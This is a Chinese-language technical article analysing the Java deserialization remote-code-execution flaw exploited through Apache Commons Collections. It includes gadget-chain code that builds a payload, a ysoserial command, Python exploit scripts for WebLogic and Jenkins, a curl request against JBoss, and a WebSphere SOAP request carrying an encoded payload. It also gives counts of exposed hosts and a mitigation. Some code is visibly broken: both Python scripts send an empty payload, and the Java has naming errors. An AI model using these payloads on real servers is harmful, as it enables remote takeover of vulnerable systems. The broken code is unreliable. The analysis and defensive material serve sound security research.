## 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。 然而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。 确实,Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。 虽然从@gebl和@frohoff的报告到现在已经过去了将近一年,但是@breenmachine的博客中提到的厂商也依然没有修复,而且国内的技术人员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析,最后对上面提到的这些受影响的应用,在全球范围内做一个大概的统计。 ## Java反序列化漏洞简介 序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的`ObjectOutputStream`类的`writeObject()`方法可以实现序列化,类`ObjectInputStream`类的`readObject()`方法用于反序列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码: ```java public static void main(String args[]) throws Exception { String obj = "hello world!"; // 将序列化对象写入文件object.db中 FileOutputStream fos = new FileOutputStream("object.db"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); os.close(); // 从文件object.db中读取数据 FileInputStream fis = new FileInputStream("object.db"); ObjectInputStream ois = new ObjectInputStream(fis); // 通过反序列化恢复对象obj String obj2 = (String)ois.readObject(); ois.close(); } ``` 问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。 所以这个问题的根源在于类`ObjectInputStream`在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。 反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度,可以比作在开启了ASLR地址随机化防御的系统中,出现了一个加载地址固定的共享库,或者类似twitter上的评论中的比喻: ![image](blame.jpg) @breenmachine的博客中将漏洞归咎于Apache Commons Collections这个库,存在一定的误解。 ## 利用Apache Commons Collections实现远程代码执行 参考Matthias Kaiser在11月份的报告[1],我们以Apache Commons Collections 3为例,来解释如何构造对象,能够让程序在反序列化,即调用`readObject()`时,就能直接实现任意代码执行。 `Map`类是存储键值对的数据结构,Apache Commons Collections中实现了类`TransformedMap`,用来对`Map`进行某种变换,只要调用`decorate()`函数,传入key和value的变换函数`Transformer`,即可从任意`Map`对象生成相应的`TransformedMap`,`decorate()`函数如下: ``` public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } ``` `Transformer`是一个接口,其中定义的`transform()`函数用来将一个对象转换成另一个对象。如下所示: ``` public interface Transformer { public Object transform(Object input); } ``` 当`Map`中的任意项的Key或者Value被修改,相应的`Transformer`就会被调用。除此以外,多个`Transformer`还能串起来,形成`ChainedTransformer`。 Apache Commons Collections中已经实现了一些常见的`Transformer`,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做`InvokerTransformer`,代码如下: ```java public class InvokerTransformer implements Transformer, Serializable { ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } } ``` 只需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个`Map`和一个能够执行代码的`ChainedTransformer`,以此生成一个`TransformedMap`,然后想办法去触发`Map`中的`MapEntry`产生修改(例如`setValue()`函数),即可触发我们构造的Transformer。 测试代码如下: ``` public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value", "value"); map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); } ``` 当上面的代码运行到`setValue()`时,就会触发`ChainedTransformer`中的一系列变换函数:首先通过`ConstantTransformer`获得`Runtime`类,进一步通过反射调用`getMethod`找到`invoke`函数,最后再运行命令`calc.exe`。 但是目前的构造还需要依赖于触发`Map`中某一项去调用`setValue()`,我们需要想办法通过`readObject()`直接触发。 我们观察到java运行库中有这样一个类`AnnotationInvocationHandler`,这个类有一个成员变量`memberValues`是`Map`类型,如下所示: ```java class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } ... ``` 更令人惊喜的是,`AnnotationInvocationHandler`的`readObject()`函数中对`memberValues`的每一项调用了`setValue()`函数,如下所示: ``` private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此处触发一些列的Transformer memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } } ``` 因此,我们只需要使用前面构造的`Map`来构造`AnnotationInvocationHandler`,进行序列化,当触发`readObject()`反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的payload的代码如下: ``` public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value", "value"); map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } ``` 以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。 我们可以直接使用工具ysoserial[2][5]来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让`readObject()`实现任意命令执行。 ysoserial当中针对Apache Commons Collections 3的payload也是基于`TransformedMap`和`InvokerTransformer`来构造的,而在触发时,并没有采用上文介绍的`AnnotationInvocationHandler`,而是使用了`java.lang.reflect.Proxy`中的相关代码来实现触发。此处不再做深入分析,有兴趣的读者可以参考ysoserial的源码。 ## 漏洞利用实例 ### 利用过程概述 首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如`readObject()`)来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed 00 05)开头。 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可: ``` java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out ``` 通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中`ObjectInputStream`的反序列化操作,随后通过反射调用`Runtime.getRunTime.exec`即可完成利用。 ### WebLogic 参照[3]中的方法,对安装包文件grep受影响的类`InvokerTransformer`: ``` root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./ Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches ``` 接着通过寻找接收外部输入的点,来让我们发送序列化对象。 WebLogic外部只开了一个7001端口,这个端口接受HTTP,T3,SNMP协议,判断协议类型后再把数据路由到内部正确的位置,通过在server上抓包,发现走T3协议时携带了java序列化对象,所以我们只用把这个包文从序列化开始的标记(ac ed 00 05)后加入payload,重放这个数据,完成利用。 以下是breenmachine的完整利用脚本: ``` #!/usr/bin/python import socket import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[1], int(sys.argv[2])) print 'connecting to %s port %s' % server_address sock.connect(server_address) # Send headers headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n' print 'sending "%s"' % headers sock.sendall(headers) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[3],'rb').read() payload='' print 'sending payload...' '''outf = open('payload.tmp','w') outf.write(payload) outf.close()''' sock.send(payload) ``` 在weblogic的利用中,有个小坑是不能破坏原始T3协议数据中包装的java对象。 ### Jenkins Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险。 同样,通过grep受影响的类`InvokerTransformer` ``` root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./ Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar matches ``` 在开放的端口上抓包,定位到Jeenkins的CLI包文中的序列化开始标记(rO0)。 在发送CLI的第一个包文后: ``` 00000000 00 14 50 72 6f 74 6f 63 6f 6c 3a 43 4c 49 2d 63 ..Protoc ol:CLI-c 00000010 6f 6e 6e 65 63 74 onnect ``` 在标记位的地方将base64处理过的payload修改覆盖原始包文中的序列化对象,发包后,完成利用。这里给出一个演示视频: <iframe src="ascii.html" frameborder="0" width="100%" height="390" scrolling="no" seamless="seamless"></iframe> 以下是@breenmachine的完整利用脚本: ``` #!/usr/bin/python #usage: ./jenkins.py host port /path/to/payload import socket import sys import requests import base64 host = sys.argv[1] port = sys.argv[2] #Query Jenkins over HTTP to find what port the CLI listener is on r = requests.get('http://'+host+':'+port) cli_port = int(r.headers['X-Jenkins-CLI-Port']) #Open a socket to the CLI port sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (host, cli_port) print 'connecting to %s port %s' % server_address sock.connect(server_address) # Send headers headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74' print 'sending "%s"' % headers sock.send(headers) data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data data = sock.recv(1024) print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[3],'rb').read() payload_b64 = base64.b64encode(payloadObj) payload='' print 'sending payload...' '''outf = open('payload.tmp','w') outf.write(payload) outf.close()''' sock.send(payload) ``` ### Jboss Jboss受影响的情况就比之前Jenkins逊色不少,正如之前所说,要成功利用必须要找到程序接受外部输入的点,而此处的利用需要/invoker/jmx的支持,大部分情况下的实际场景,jboss都删除了jmx,所以让此处的利用大打折扣。 分析流程和之前一样,只不过此处接受的点在jmx上,所以通过的协议也和前两个不同,是HTTP协议,不再赘述,详细的jboss分析可以参看[Exploit – JBoss](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss)。 利用如下: ```bash curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet ``` 也可以看breenmachine给出的http请求报文: ``` POST /invoker/JMXInvokerServlet HTTP/1.1 Host: 172.17.0.2:8080 Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue Content-Length: 1434 payload ``` ![image](jboss.png) ### WebSphere WebSphere的利用相比较之前几个case就非常粗暴简单了,可惜的是很少会暴露在公网。 找到受影响的lib的位置。 ``` root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*" ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar ./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2.4/commons-collections.jar ./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar ./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar ./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar ./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar ``` 查看端口开放情况后发现WebSphere默认起了10个端口监听所有接口,通过burp suite看到在请求websphere默认端口8880上有一个POST的请求,body中带有base64处理后的java序列化对象,同样的,标记位置仍然是"rO0",我们将生成的payload做base64处理后覆盖之前的序列化对象即可利用。 ![image](websphere.png) ``` POST / HTTP/1.0 Host: 127.0.0.1:8880 Content-Type: text/xml; charset=utf-8 Content-Length: 2646 SOAPAction: "urn:AdminService" <?xml version='1.0' encoding='UTF-8'?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0"> <LoginMethod>BasicAuth</LoginMethod> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname> <attribute xsi:type="xsd:string">ringBufferSize</attribute> </ns1:getAttribute> </SOAP-ENV:Body> </SOAP-ENV:Envelope> ``` ### 其它 因为这个安全问题的根源在于`ObjectInputStream`处理反序列化时接受外部输入,而又由于其他类似`InvokerTransformer`的类的构造函数被调用,从而造成执行,而`InvokerTransformer`方便的提供了根据外部输入类名函数名反射执行的作用,所以造成整个程序RCE。 所以该问题并不是像其他一些语言unserialize函数本身存在漏洞,而是在应用本身实现的方式上存在缺陷,导致应用受到RCE的影响,开个脑洞引申一下,可以很明了的发现,远远不止breenmachine所指出的这几个流行web server,更可能影响更多使用了`commons-collections`,并且触发`ObjectInputStream`反序列化操作的应用,如一些java开发的CMS,中间件等等,甚至不仅仅是PC端,移动端如Android的很多app都可能受到该问题影响。 ## 漏洞影响 通过简单的全网分析和POC验证。 Jenkins收到该漏洞影响较大,在自测中,全球暴露在公网的`11059`台均受到该问题影响,zoomeye的公开数据中再测试后有`12493`受到该漏洞影响,shadon的公开数据中`16368`台jenkins暴露公网可能受到影响(未复测shadon数据)。 Weblogic因为公开到公网的数据较少,所以受影响面也稍微少一些,在自测中,全球`486`台均受到该问题影响,zoomeye的公开数据中再测试后有`201`台收到该漏洞影响,shadon的公开数据中`806` 台weblogic可能受到影响(未复测shadon数据)。 Jboss因为需要/invoker/JMXInvokerServlet的支持,所以受影响面稍小(但我们并未具体检测jboss中没有删除/invoker/JMXInvokerServlet的数据),在自测中,全球`29194`台jboss暴露在公网,但由于大部分jboss都删除了jmx,所以真正受到影响的覆盖面并不广,zoomeye的公开数据中有`7770`台jboss暴露在公网,shadon的公开数据中`46317`台jboss暴露在公网。 WebSphere在自测中,全球暴露在公网的`2076`台均受到该问题影响,zoomeye的公开数据中再测试后仍有`4511`台websphere受到影响,shadon的公开数据中`5537` 台websphere可能受到影响(未复测shadon数据)。 ![image](vul.png) **在本次全网分析中,感谢ztz@nsfocus的seer提供的部分数据 ** ## 修复建议 因为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁`SerialKiller`。 下载这个jar后放置于classpath,将应用代码中的`java.io.ObjectInputStream`替换为`SerialKiller`,之后配置让其能够允许或禁用一些存在问题的类,`SerialKiller`有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。 lib地址:[https://github.com/ikkisoft/SerialKiller](https://github.com/ikkisoft/SerialKiller) ## 参考资料 1. [Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.](http://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478) 1. https://github.com/frohoff/ysoserial 1. [foxglovesecurity analysis](http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) 1. [github JavaUnserializeExploits](https://github.com/foxglovesec/JavaUnserializeExploits) 1. [appseccali-2015-marshalling-pickles](http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)